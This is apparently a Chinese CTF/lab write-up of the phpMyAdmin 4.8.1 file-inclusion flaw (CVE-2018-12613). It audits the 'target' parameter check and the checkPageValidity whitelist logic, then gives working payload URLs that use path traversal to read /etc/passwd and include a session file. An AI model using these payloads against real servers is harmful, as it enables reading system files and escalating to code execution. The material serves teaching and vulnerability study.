phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)
简介
环境复现:https://gitee.com/xiaohua1998/hctf_2018_warmup
考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)
线上平台:榆林学院内可使用协会内部的网络安全实验平台
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,
通过二次编码即可绕过检查,造成远程文件包含漏洞。
受影响版本
phpMyAdmin 4.8.0和4.8.1受到影响。
代码审计
通过审计index.php发现了文件包含 只要达到if里面的条件即可执行文件包含。
! empty($_REQUEST['target']) //request接受的target不能为空
&& is_string($_REQUEST['target']) //target里面的值必须是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //target里面的值不能以index为头
&& ! in_array($_REQUEST['target'], $target_blacklist) //target传进来的值不能是$target_backlist里面的值 如"import.php" 和"export.php"
&& Core::checkPageValidity($_REQUEST['target']) //将值给checkPageValidity()函数 要返回true 才能全整体为真
接下来继续追溯checkPageValidity 函数
public static function checkPageValidity(&$page, array $whitelist = []) {
//首先判断$whitelist不为空 则将$goto_whitelist值赋值给$whitelist
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; //这里得追溯下 看看$got_whitelist
}
//判断传进来的值 要存在而且
if (! isset($page) || !is_string($page)) {
return false;
}
//判断传进来的值是否在白名单内
if (in_array($page, $whitelist)) {
return true;
} //截取传进来的?号
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//判断$_page是否输入$page
if (in_array($_page, $whitelist)) {
return true;
}
//给page解码
$_page = urldecode($page);
//截取?号部分
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} return false;
}
得到上面的情况我们可以构造payload:
http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../etc/passwd
漏洞利用方法
包含session文件payload
http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_1d4171b498cba40de617fbea8902d5f0
最新文章
- TestNG 与 Junit的比较
- 王爽<; 汇编语言>;实验十二
- EhCache缓存
- Delphi中Interface接口的使用方法
- PHP输出控制(Output Control)函数
- 原生Ajax写法(GET)
- 内存中 OLTP - 常见的工作负荷模式和迁移注意事项(三)
- [COJ0988]WZJ的数据结构(负十二)
- C++设计模式---职责链模式
- [XMPP]iOS聊天软件学习笔记[三]
- 出错场景是升级oracle驱动,将版本从ojdbc14升级到ojdbc6,hibernate执行原生态sql语句会报如下错误
- Struts2传参碰到的奇怪问题
- 【MySQL 读书笔记】普通索引和唯一索引应该怎么选择
- Java创建对象的4种方式
- C#怎么调用百度地图Web API
- 设置td中的table置顶
- MVC---- DataSet 页面遍历
- ZStack深度试用:部署、架构与网络及其与OpenStack的对比
- Bogart gData.vb
- [译]用R语言做挖掘数据《一》
热门文章
- Kubernetes K8S之存储Volume详解
- day71:drf:API接口&;Restful API规范&;Django Rest Framework&;drf中的序列化和反序列化功能
- C++学习---队列的构建及操作
- 浏览器缓存引起的bug总结
- IDEA出现Error Loading Project: Cannot load module xxx报错
- 01 . Go框架之Gin框架从入门到熟悉(路由和上传文件)
- vue-cli3搭建的vue项目中使用jquery
- BIO编程
- 使用painless将ElasticSearch字符串拆分为数组
- shell脚本之字符串测试表达式